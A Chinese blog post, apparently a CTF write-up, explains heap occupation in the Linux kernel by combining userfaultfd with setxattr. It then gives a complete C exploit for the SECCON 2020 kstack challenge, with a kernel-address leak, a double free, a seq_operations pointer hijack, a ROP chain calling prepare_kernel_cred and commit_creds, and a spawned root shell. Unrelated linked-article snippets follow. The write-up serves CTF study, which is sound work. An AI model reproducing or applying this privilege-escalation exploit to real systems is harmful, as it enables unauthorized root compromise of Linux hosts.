利用userfaultfd + setxattr堆占位

很久之前便看到过这个技术的名字,但是由于自己的摆烂,一直没有管。今天终于找到时间好好看一下这个技术的利用方式。利用userfaultfd + setxattr算是内核里一种比较通用的利用技术,在实际场景中通常和堆喷射技术结合起来。但是在某些CTF的题目中,我们已经有了UAF,故并不需要喷射大量的结构体,而是需要在特定的时间对某些object进行写入与占用。笔看到其他师傅的文章中把它称作为堆占位。在之前的博客中我就写过关于userfaultfd利用方式的介绍,故本文主要关注对setxattr的利用。

setxattr系统调用

setxattr是一个很特殊的系统调用,它在内核空间可以实现几乎任意大小的object分配。

他的调用链如下:

SYS_setxattr()
path_setxattr()
setxattr()

抛开这个系统调用的正常功能,我们看一下他对我们有用的关键源码:

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
//...
kvalue = kvmalloc(size, GFP_KERNEL);
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) { //,.. kvfree(kvalue); return error;
}

我们可以看到首先是kvmalloc(size, GFP_KERNEL)分配出内存空间,接着通过copy_from_user(kvalue, value, size)向空间中拷贝数据,最后调用kvfree(kvalue);将其分配的空间释放。因为这里的value和size都是我们可控的,所以我们几乎就可以实现分配任意大小的object并向其中写入数据。但是在最后会将我们分配的object释放掉,那也就意味着我们前功尽弃了。所以我们得想办法不让他释放掉。那我们可以考虑搭配userfaultfd来使得拷贝过程被卡住,也就不会进行下一步的释放。我们可以想到一下场景:

我们通过mmap分配两个连续内存页,在第二个内存页上使用userfaultfd进行监视,并在第一个内存页尾写入我们想要的数据,那么此时我们调用setxattr,当copy_from_user拷贝到第二个内存页时就会卡住,这个object也自然不会被释放掉,从而达成我们的目的。

SECCON 2020 kstack来学习userfaultfd + setxattr堆占位的手法

exp:对着arttnba3师傅的exp改了改

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <poll.h>
#include <string.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h> #define PAGE_SIZE 0x1000 int fd;
size_t seq_fd;
size_t seq_fds[0x100];
size_t kernel_offset; void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
} void push(char* data)
{
if(ioctl(fd, 0x57AC0001, data) < 0)
ErrExit("push error");
} void pop(char* data)
{
if(ioctl(fd, 0x57AC0002, data) < 0)
ErrExit("pop error");
} void get_shell()
{
if (getuid() == 0)
{
system("/bin/sh");
}
else
{
puts("[-] get shell error");
exit(1);
}
} void register_userfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if(ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API error"); ur.range.start = (unsigned long)fault_page; // the area we want to monitor
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread
ErrExit("[-] ioctl-UFFDIO_REGISTER error");
// open a thread, receive the wrong signal, and the handle it
int s = pthread_create(&thr, NULL, handler, (void*)uffd);
if(s!=0)
ErrExit("[-] pthread-create error");
} void *userfault_leak_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg; struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1); if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error"); char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc; puts("[+] leak handler created");
pop(&kernel_offset);
kernel_offset-= 0xffffffff81c37bc0;
printf("[+] kernel offset: 0x%lx\n", kernel_offset); // init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak handler done");
} void *userfault_double_free_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg; struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1); if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error"); char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error"); struct uffdio_copy uc; // init page
memset(page, 0, sizeof(page)); puts("[+] double free handler created");
pop(page); uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] double free handler done");
} size_t pop_rdi_ret = 0xffffffff81034505;
size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a;
size_t prepare_kernel_cred = 0xffffffff81069e00;
size_t commit_creds = 0xffffffff81069c10;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34; void *userfault_hijack_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg; struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1); if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error"); char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc; puts("[+] hijack handler created");
puts("[+] tigger..");
for(int i=0; i<100; i++)
close(seq_fds[i]); pop_rdi_ret += kernel_offset;
mov_rdi_rax_pop_rbp_ret += kernel_offset;
prepare_kernel_cred += kernel_offset;
commit_creds += kernel_offset;
swapgs_restore_regs_and_return_to_usermode += kernel_offset + 0x10; __asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, pop_rdi_ret;"
"mov r12, 0;"
"mov rbp, prepare_kernel_cred;"
"mov rbx, mov_rdi_rax_pop_rbp_ret;"
"mov r11, 0x66666666;"
"mov r10, commit_creds;"
"mov r9, swapgs_restore_regs_and_return_to_usermode;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
); printf("[+] uid: %d gid: %d\n", getuid(), getgid());
get_shell(); // init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] hijack handler done");
} int main()
{
size_t size[0x10];
char* leak_buf;
char* double_free_buf;
char* hijack_buf;
int shm_id;
char* shm_addr; fd = open("/proc/stack",O_RDONLY);
if(fd < 0)
ErrExit("[-] open kstack error"); for(int i=0; i<100; i++)
if ((seq_fds[i] = open("/proc/self/stat", O_RDONLY)) < 0)
ErrExit("open stat error"); leak_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(leak_buf, userfault_leak_handler); shm_id = shmget(114514, 0x1000, SHM_R | SHM_W | IPC_CREAT);
if (shm_id < 0)
ErrExit("shmget error");
shm_addr = shmat(shm_id, NULL, 0);
if (shm_addr < 0)
ErrExit("shmat!");
if(shmdt(shm_addr) < 0)
ErrExit("shmdt error"); push(leak_buf); double_free_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(double_free_buf, userfault_double_free_handler); push("fxc");
pop(double_free_buf); hijack_buf = (char*)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(hijack_buf+PAGE_SIZE, userfault_hijack_handler);
*(size_t*)(hijack_buf + PAGE_SIZE - 8) = 0xffffffff814d51c0 + kernel_offset; if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0)
ErrExit("open stat error"); setxattr("/exp", "fxc", hijack_buf + PAGE_SIZE - 8, 32, 0);
}

利用userfaultfd + setxattr堆占位的更多相关文章

  1. PHP利用二叉堆实现TopK-算法的方法详解

    前言 在以往工作或者面试的时候常会碰到一个问题,如何实现海量TopN,就是在一个非常大的结果集里面快速找到最大的前10或前100个数,同时要保证 内存和速度的效率,我们可能第一个想法就是利用排序,然后 ...

  2. 利用js实现placeholder占位符,甩开ie不兼容

    正常的写法 <input type="text" placeholder="占位符"> 这种写法ie低版本的支持不友好,为了满足某些测试或者产品的变 ...

  3. 【数据结构与算法Python版学习笔记】树——利用二叉堆实现优先级队列

    概念 队列有一个重要的变体,叫作优先级队列. 和队列一样,优先级队列从头部移除元素,不过元素的逻辑顺序是由优先级决定的. 优先级最高的元素在最前,优先级最低的元素在最后. 实现优先级队列的经典方法是使 ...

  4. 利用msg_msg实现任意地址读写

    利用msg_msg实现任意地址读写 msgsnd和msgrcv的源码分析 内核通过msgsnd和msgrcv来进行IPC通信.内核消息分为两个部分,一个是消息头msg_msg(0x30),以及后面跟着 ...

  5. Linux堆内存管理深入分析(上)

    Linux堆内存管理深入分析(上半部) 作者:走位@阿里聚安全   0 前言 近年来,漏洞挖掘越来越火,各种漏洞挖掘.利用的分析文章层出不穷.从大方向来看,主要有基于栈溢出的漏洞利用和基于堆溢出的漏洞 ...

  6. Java实现堆排序(大根堆)

    堆排序是一种树形选择排序方法,它的特点是:在排序的过程中,将array[0,...,n-1]看成是一颗完全二叉树的顺序存储结构,利用完全二叉树中双亲节点和孩子结点之间的内在关系,在当前无序区中选择关键 ...

  7. 堆的基础题目学习(EPI)

    堆的应用范围也比较广泛,经常游走在各种面试题目之前,不论算法设计的题目还是海量数据处理的题目,经常能看到这种数据结构的身影.堆其实就是一个完全二叉树的结构,经常利用数组来实现.包含最大堆和最小堆两种. ...

  8. 使用Keil的MicroLIB时自动设置堆大小——玩嵌入式以来最高难度

    Keil编译项目,如果使用微库MicroLIB,就可以使用malloc.微库内部位置一个堆管理模块.芯片的RAM大小是固定了的,前面分为全局变量,后面分给堆和栈,这是一般开发方式.但是我们在开发项目的 ...

  9. Linux堆内存管理深入分析

    (上半部) 作者:走位@阿里聚安全 前言 近年来,漏洞挖掘越来越火,各种漏洞挖掘.利用的分析文章层出不穷.从大方向来看,主要有基于栈溢出的漏洞利用和基于堆溢出的漏洞利用两种.国内关于栈溢出的资料相对较 ...

随机推荐

  1. 密码学系列之:PKI的证书格式表示X.509

    目录 简介 一个证书的例子 X.509证书的后缀 .pem .cer, .crt, .der .p7b, .p7c .p12 .pfx 证书的层级结构和交叉认证 x.509证书的使用范围 总结 简介 ...

  2. Python Socket Sever

    1. Server code 1 # !/usr/bin/env python 2 # coding:utf-8 3 import multiprocessing 4 import socket 5 ...

  3. React技巧之检查元素是否可见

    原文链接:https://bobbyhadz.com/blog/react-check-if-element-in-viewport 作者:Borislav Hadzhiev 正文从这开始~ 总览 在 ...

  4. nifi从入门到实战(保姆级教程)——身份认证

    上一篇我们搭建好了nifi的运行环境了 但是每次登陆那一串随机字符串的用户名和密码是不是让人很头疼,那是人类能记住的吗?当然不是!!!! 那么今天我们就来消灭这些难看又难记的字符串. windows( ...

  5. java基础知识面试总结-部分

    前言 在平时的工作学习中,自己对微服务和springboot基础理论知识关注比较少,在面试中对于面试官的问题,很多基本都不能够达到精准,全面:现将自己面试中的问题做以总结: 1.谈谈你对微服务架构的认 ...

  6. NC24840 [USACO 2009 Mar S]Look Up

    NC24840 [USACO 2009 Mar S]Look Up 题目 题目描述 Farmer John's N (1 <= N <= 100,000) cows, convenient ...

  7. NC207040 丢手绢

    NC207040 丢手绢 题目 题目描述 "丢丢丢手绢,轻轻地放在小朋友的后面,大家不要告诉她,快点快点抓住她,快点快点抓住她." 牛客幼儿园的小朋友们围成了一个圆圈准备玩丢手绢的 ...

  8. FFT 学习笔记(自认为详细)

    引入 什么是 \(\text{FFT}\) ? 反正我看到 \(\text{wiki}\) 上是一堆奇怪的东西. 快速傅里叶变换(英语:Fast Fourier Transform, FFT),是快速 ...

  9. DNS 系列(三):如何免受 DNS 欺骗的侵害

    互联网上每一台设备都会有一个 IP 地址,我们在访问网站或发送信息时,其实都是通过 IP 地址达成准确请求的.但是这个 IP 地址由很长一串数字组成,记忆起来相当困难,所以我们创造了更实用的域名来代替 ...

  10. C++算数运算符和位运算符

    C++根据功能和用途将运算符分为算数运算符.位运算符.关系运算符和逻辑运算符等不同类型.四种不同运算符的优先级从大到小依次位算-位-关-逻. 一.算数运算符 1.加减乘除(+ - * /) 加减乘除位 ...